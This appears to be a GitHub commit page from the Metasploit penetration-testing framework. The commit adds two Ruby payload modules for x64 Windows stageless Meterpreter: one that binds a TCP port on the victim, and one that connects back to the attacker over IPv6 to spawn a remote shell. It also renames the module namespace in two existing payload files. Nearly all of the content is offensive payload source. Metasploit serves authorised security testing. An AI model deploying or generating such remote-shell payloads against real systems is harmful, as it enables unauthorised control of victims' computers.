Skip to content

Commit c28cc66

Browse files
committed
Add x64 bind_tcp and reverse_ipv6_tcp
Also fix up a couple of modules to use Metasploit4 instead of Metasploit3.
1 parent 2679297 commit c28cc66

File tree

4 files changed

+92
-2
lines changed

4 files changed

+92
-2
lines changed

modules/payloads/singles/windows/meterpreter_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
require 'msf/base/sessions/meterpreter_x86_win'
1010
require 'msf/base/sessions/meterpreter_options'
1111

12-
module Metasploit3
12+
module Metasploit4
1313

1414
CachedSize = :dynamic
1515

modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
require 'msf/base/sessions/meterpreter_x86_win'
1010
require 'msf/base/sessions/meterpreter_options'
1111

12-
module Metasploit3
12+
module Metasploit4
1313

1414
CachedSize = :dynamic
1515

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/bind_tcp'
8+
require 'msf/core/payload/windows/x64/stageless_meterpreter'
9+
require 'msf/base/sessions/meterpreter_x64_win'
10+
require 'msf/base/sessions/meterpreter_options'
11+
12+
module Metasploit4
13+
14+
CachedSize = :dynamic
15+
16+
include Msf::Payload::Windows::StagelessMeterpreter_x64
17+
include Msf::Sessions::MeterpreterOptions
18+
19+
def initialize(info = {})
20+
21+
super(merge_info(info,
22+
'Name' => 'Windows Meterpreter Shell, Bind TCP Inline (x64)',
23+
'Description' => 'Connect to victim and spawn a Meterpreter shell',
24+
'Author' => [ 'OJ Reeves' ],
25+
'License' => MSF_LICENSE,
26+
'Platform' => 'win',
27+
'Arch' => ARCH_X64,
28+
'Handler' => Msf::Handler::BindTcp,
29+
'Session' => Msf::Sessions::Meterpreter_x64_Win
30+
))
31+
32+
register_options([
33+
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
34+
], self.class)
35+
end
36+
37+
def generate
38+
# blank LHOST indicates bind payload
39+
url = "tcp://:#{datastore['LPORT']}"
40+
generate_stageless_x64(url)
41+
end
42+
43+
end
44+
45+
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_tcp'
8+
require 'msf/core/payload/windows/stageless_meterpreter'
9+
require 'msf/base/sessions/meterpreter_x64_win'
10+
require 'msf/base/sessions/meterpreter_options'
11+
12+
module Metasploit4
13+
14+
CachedSize = :dynamic
15+
16+
include Msf::Payload::Windows::StagelessMeterpreter_x64
17+
include Msf::Sessions::MeterpreterOptions
18+
19+
def initialize(info = {})
20+
21+
super(merge_info(info,
22+
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)',
23+
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
24+
'Author' => [ 'OJ Reeves' ],
25+
'License' => MSF_LICENSE,
26+
'Platform' => 'win',
27+
'Arch' => ARCH_X64,
28+
'Handler' => Msf::Handler::ReverseTcp,
29+
'Session' => Msf::Sessions::Meterpreter_x64_Win
30+
))
31+
32+
register_options([
33+
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
34+
OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
35+
], self.class)
36+
end
37+
38+
def generate
39+
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
40+
generate_stageless_x64(url)
41+
end
42+
43+
end
44+
45+

0 commit comments

Comments
 (0)